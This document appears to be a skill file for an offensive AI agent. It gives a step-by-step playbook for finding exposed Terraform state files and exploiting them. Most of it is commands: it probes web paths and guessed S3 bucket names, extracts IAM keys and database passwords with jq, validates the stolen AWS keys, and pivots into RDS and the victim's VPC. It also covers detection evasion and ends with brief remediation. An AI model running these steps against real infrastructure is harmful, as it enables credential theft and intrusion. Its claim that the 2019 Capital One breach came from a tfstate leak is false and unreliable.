name: terraform-state-leak description: Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON. metadata: subdomain: cloud when_to_use: "terraform state leak secrets tfstate" mitre_attack: - T1552 - T1530
Terraform State Leak Exploitation
Terraform's terraform.tfstate file is a plaintext JSON map of every
resource Terraform manages, including:
- IAM access keys / secret keys
- Database passwords (RDS, ElastiCache, etc.)
- API tokens passed in as variables
- TLS private keys
- Resource IDs / ARNs / topology (great for follow-on attacks)
Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks:
- S3 bucket with
public-readACL - S3 bucket with overly permissive policy
terraform.tfstatein a public Git repo (commit history!)- Backup
terraform.tfstate.backupleft in webroot - Jenkins workspace / GH Actions artifact exposing state
1. Discover exposed state files
Web-exposed:
# Common paths
for path in '/terraform.tfstate' '/terraform.tfstate.backup' \
'/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \
'/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do
curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
echo "FOUND: $TARGET$path"
done
# Or scan with feroxbuster
feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \
-x tfstate,tfstate.backup,tfstate.json
S3-direct:
# Public bucket scan
aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate'
# Common bucket-name patterns to enumerate
for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \
"tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do
aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3
done
Git-history:
# Look for committed-then-removed state in target's public repos
gh search code "terraform.tfstate" --owner "$ORG" --json path,repository
# In a cloned repo
git log --all --full-history -- '*terraform.tfstate*'
git log -p --all --full-history -- '*terraform.tfstate*' | head -200
2. Parse the state
# Quick triage
jq '.terraform_version, .resources | length' /tmp/state.tfstate
# Extract every sensitive-looking value
jq -r '.resources[] | .instances[] | .attributes | to_entries[] |
select(.key | test("password|secret|token|key|credential"; "i")) |
"\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt
# IAM access keys (specifically)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
.instances[] | .attributes |
"\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate
# RDS passwords
jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \
/tmp/state.tfstate
# Database connection URLs (often w/ embedded passwords)
jq -r '.resources[] | .instances[] | .attributes |
to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) |
.value' /tmp/state.tfstate
# Lambda env vars (often hold secrets)
jq -r '.resources[] | select(.type=="aws_lambda_function") |
.instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate
Decepticon ingest:
tfstate_audit("/tmp/state.tfstate")
3. Topology gold-mine
Beyond raw secrets, the state reveals:
- VPC IDs / subnet IDs / security group IDs / NACL rules
- Route 53 zones + internal DNS names
- All resource ARNs (good for IAM policy targeting later)
- Tags revealing org structure (environment, owner, cost-center)
- KMS key ARNs and aliases
- Lambda function code locations
- ECS task definitions / cluster names
- RDS endpoints + which security group / VPC
This data alone is high-value recon for a follow-on engagement.
4. Validate IAM keys
AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity
# Returns the IAM ARN if valid → confirmed live cred
AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user
# Get user details + creation date → know if it's a real human or service
Pivot to aws-iam-enum/SKILL.md for privesc from here.
5. RDS pivot
With password from state:
ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1)
# Connect (requires network reach — usually need to be in VPC or pivot)
mysql -h $ENDPOINT -u $USER -p$PASSWORD
psql -h $ENDPOINT -U $USER # PGPASSWORD from state
If RDS isn't reachable from your perimeter: launch an EC2 in the same VPC using IAM keys from state (if the role has ec2:RunInstances), then hop through it.
6. Promote
kg_add_node(kind="vulnerability", label="Exposed Terraform state: <url>",
props={"severity":"critical","secrets_found":<n>})
for each cred:
kg_add_node(kind="credential", label="<service>:<value>")
kg_add_edge(src=<vuln>, dst=<cred>, kind="exposes")
OPSEC
- Reading a public bucket / web file leaves logs only at the storage layer (S3 access logs, CloudFront access logs)
- Using IAM keys triggers CloudTrail events (
GetCallerIdentityis benign but observable) - Many teams have detections for
*Sandbox*/*test*IAM users being used from new IPs
CVSS
- IAM access key from state + permissive policy:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H= 10.0 - RDS pw + DB has PII: 9.0 (network reach gates)
- Topology disclosure only: Medium 5-6
Defender remediation
# Migrate to S3 backend with encryption + versioning
terraform {
backend "s3" {
bucket = "tf-state-$ORG"
key = "infra.tfstate"
region = "us-east-1"
encrypt = true
kms_key_id = "arn:aws:kms:...:key/..."
dynamodb_table = "tf-state-lock"
}
}
# Verify bucket policy denies public access
aws s3api put-public-access-block --bucket tf-state-$ORG \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"
# Scan repos for committed state files
git log --all --full-history -- '*tfstate*' && \
echo "DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)"
Known exemplars
- 2019: Capital One subsidiary leaked tfstate w/ RDS creds → DB exfil
- 2021: Multiple Fortune-500 had tfstate in public S3 (Detectify scan)
- 2023: GitHub Actions misconfig where tfstate was uploaded as artifact, downloadable without auth
- Pattern: terraform-cli running in CI without explicit
-backend-config=encrypt=truedefaults to local state which lands in artifact storage